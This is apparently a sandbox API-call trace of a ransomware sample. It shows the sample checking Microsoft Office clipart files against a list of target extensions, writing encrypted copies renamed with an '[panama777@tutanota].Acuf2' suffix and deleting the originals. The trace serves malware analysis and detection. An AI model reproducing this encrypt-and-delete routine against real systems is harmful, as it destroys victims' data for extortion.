	[0275.687] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.687] SetEndOfFile (hFile=0x34c) returned 1
	[0275.691] CloseHandle (hObject=0x34c) returned 1
	[0275.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 1
	[0275.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63
	[0275.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63
	[0275.692] lstrlenW (lpString=".doc") returned 4
	[0275.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.692] lstrlenW (lpString=".docx") returned 5
	[0275.692] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.692] lstrlenW (lpString=".pdf") returned 4
	[0275.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.692] lstrlenW (lpString=".xls") returned 4
	[0275.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.692] lstrlenW (lpString=".xlsx") returned 5
	[0275.692] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.692] lstrlenW (lpString=".ppt") returned 4
	[0275.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63
	[0275.692] lstrlenW (lpString=".zip") returned 4
	[0275.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.692] lstrlenW (lpString=".rar") returned 4
	[0275.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.692] lstrlenW (lpString=".bz2") returned 4
	[0275.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.692] lstrlenW (lpString=".7z") returned 3
	[0275.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63
	[0275.692] lstrlenW (lpString=".dbf") returned 4
	[0275.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63
	[0275.693] lstrlenW (lpString=".1cd") returned 4
	[0275.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63
	[0275.693] lstrlenW (lpString=".jpg") returned 4
	[0275.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.693] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.693] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.694] GetLastError () returned 0x0
	[0275.694] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1f40, lpOverlapped=0x0) returned 1
	[0275.695] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1f50, lpOverlapped=0x0) returned 1
	[0275.696] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.696] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.696] SetEndOfFile (hFile=0x28c) returned 1
	[0275.696] CloseHandle (hObject=0x28c) returned 1
	[0275.696] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.696] SetEndOfFile (hFile=0x34c) returned 1
	[0275.698] CloseHandle (hObject=0x34c) returned 1
	[0275.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 1
	[0275.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63
	[0275.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63
	[0275.699] lstrlenW (lpString=".doc") returned 4
	[0275.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.699] lstrlenW (lpString=".docx") returned 5
	[0275.699] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0275.699] lstrlenW (lpString=".pdf") returned 4
	[0275.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.699] lstrlenW (lpString=".xls") returned 4
	[0275.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.699] lstrlenW (lpString=".xlsx") returned 5
	[0275.699] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0275.699] lstrlenW (lpString=".ppt") returned 4
	[0275.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63
	[0275.699] lstrlenW (lpString=".zip") returned 4
	[0275.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.699] lstrlenW (lpString=".rar") returned 4
	[0275.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.699] lstrlenW (lpString=".bz2") returned 4
	[0275.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.699] lstrlenW (lpString=".7z") returned 3
	[0275.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63
	[0275.700] lstrlenW (lpString=".dbf") returned 4
	[0275.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63
	[0275.700] lstrlenW (lpString=".1cd") returned 4
	[0275.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63
	[0275.700] lstrlenW (lpString=".jpg") returned 4
	[0275.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.700] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.701] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.701] GetLastError () returned 0x0
	[0275.701] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4054, lpOverlapped=0x0) returned 1
	[0275.703] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4060, lpOverlapped=0x0) returned 1
	[0275.704] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.704] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.704] SetEndOfFile (hFile=0x28c) returned 1
	[0275.704] CloseHandle (hObject=0x28c) returned 1
	[0275.704] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.704] SetEndOfFile (hFile=0x34c) returned 1
	[0275.706] CloseHandle (hObject=0x34c) returned 1
	[0275.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 1
	[0275.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63
	[0275.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63
	[0275.706] lstrlenW (lpString=".doc") returned 4
	[0275.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.706] lstrlenW (lpString=".docx") returned 5
	[0275.706] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.707] lstrlenW (lpString=".pdf") returned 4
	[0275.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.707] lstrlenW (lpString=".xls") returned 4
	[0275.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.707] lstrlenW (lpString=".xlsx") returned 5
	[0275.707] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.707] lstrlenW (lpString=".ppt") returned 4
	[0275.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63
	[0275.707] lstrlenW (lpString=".zip") returned 4
	[0275.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.707] lstrlenW (lpString=".rar") returned 4
	[0275.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.707] lstrlenW (lpString=".bz2") returned 4
	[0275.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.707] lstrlenW (lpString=".7z") returned 3
	[0275.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63
	[0275.707] lstrlenW (lpString=".dbf") returned 4
	[0275.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63
	[0275.707] lstrlenW (lpString=".1cd") returned 4
	[0275.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63
	[0275.707] lstrlenW (lpString=".jpg") returned 4
	[0275.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.708] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.708] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.709] GetLastError () returned 0x0
	[0275.709] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1acc, lpOverlapped=0x0) returned 1
	[0275.710] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1ad0, lpOverlapped=0x0) returned 1
	[0275.711] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.711] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.711] SetEndOfFile (hFile=0x28c) returned 1
	[0275.711] CloseHandle (hObject=0x28c) returned 1
	[0275.712] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.712] SetEndOfFile (hFile=0x34c) returned 1
	[0275.713] CloseHandle (hObject=0x34c) returned 1
	[0275.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 1
	[0275.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63
	[0275.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63
	[0275.714] lstrlenW (lpString=".doc") returned 4
	[0275.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.714] lstrlenW (lpString=".docx") returned 5
	[0275.714] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0275.714] lstrlenW (lpString=".pdf") returned 4
	[0275.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.714] lstrlenW (lpString=".xls") returned 4
	[0275.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.714] lstrlenW (lpString=".xlsx") returned 5
	[0275.714] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0275.714] lstrlenW (lpString=".ppt") returned 4
	[0275.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63
	[0275.714] lstrlenW (lpString=".zip") returned 4
	[0275.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.714] lstrlenW (lpString=".rar") returned 4
	[0275.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.715] lstrlenW (lpString=".bz2") returned 4
	[0275.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.715] lstrlenW (lpString=".7z") returned 3
	[0275.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63
	[0275.715] lstrlenW (lpString=".dbf") returned 4
	[0275.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63
	[0275.715] lstrlenW (lpString=".1cd") returned 4
	[0275.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63
	[0275.715] lstrlenW (lpString=".jpg") returned 4
	[0275.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.716] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.716] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.717] GetLastError () returned 0x0
	[0275.717] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1918, lpOverlapped=0x0) returned 1
	[0275.718] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1920, lpOverlapped=0x0) returned 1
	[0275.719] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.719] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.719] SetEndOfFile (hFile=0x28c) returned 1
	[0275.719] CloseHandle (hObject=0x28c) returned 1
	[0275.719] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.719] SetEndOfFile (hFile=0x34c) returned 1
	[0275.721] CloseHandle (hObject=0x34c) returned 1
	[0275.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf")) returned 1
	[0275.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63
	[0275.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63
	[0275.722] lstrlenW (lpString=".doc") returned 4
	[0275.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.722] lstrlenW (lpString=".docx") returned 5
	[0275.722] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.722] lstrlenW (lpString=".pdf") returned 4
	[0275.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.722] lstrlenW (lpString=".xls") returned 4
	[0275.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.722] lstrlenW (lpString=".xlsx") returned 5
	[0275.722] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.722] lstrlenW (lpString=".ppt") returned 4
	[0275.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63
	[0275.722] lstrlenW (lpString=".zip") returned 4
	[0275.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.722] lstrlenW (lpString=".rar") returned 4
	[0275.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.722] lstrlenW (lpString=".bz2") returned 4
	[0275.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.722] lstrlenW (lpString=".7z") returned 3
	[0275.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63
	[0275.723] lstrlenW (lpString=".dbf") returned 4
	[0275.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63
	[0275.723] lstrlenW (lpString=".1cd") returned 4
	[0275.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63
	[0275.723] lstrlenW (lpString=".jpg") returned 4
	[0275.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.723] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.723] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.724] GetLastError () returned 0x0
	[0275.724] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x22a0, lpOverlapped=0x0) returned 1
	[0275.944] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x22b0, lpOverlapped=0x0) returned 1
	[0275.945] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.945] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.945] SetEndOfFile (hFile=0x28c) returned 1
	[0275.945] CloseHandle (hObject=0x28c) returned 1
	[0275.945] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.945] SetEndOfFile (hFile=0x34c) returned 1
	[0275.947] CloseHandle (hObject=0x34c) returned 1
	[0275.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 1
	[0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63
	[0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63
	[0275.948] lstrlenW (lpString=".doc") returned 4
	[0275.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.948] lstrlenW (lpString=".docx") returned 5
	[0275.948] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0275.948] lstrlenW (lpString=".pdf") returned 4
	[0275.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.948] lstrlenW (lpString=".xls") returned 4
	[0275.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.948] lstrlenW (lpString=".xlsx") returned 5
	[0275.948] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0275.948] lstrlenW (lpString=".ppt") returned 4
	[0275.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63
	[0275.948] lstrlenW (lpString=".zip") returned 4
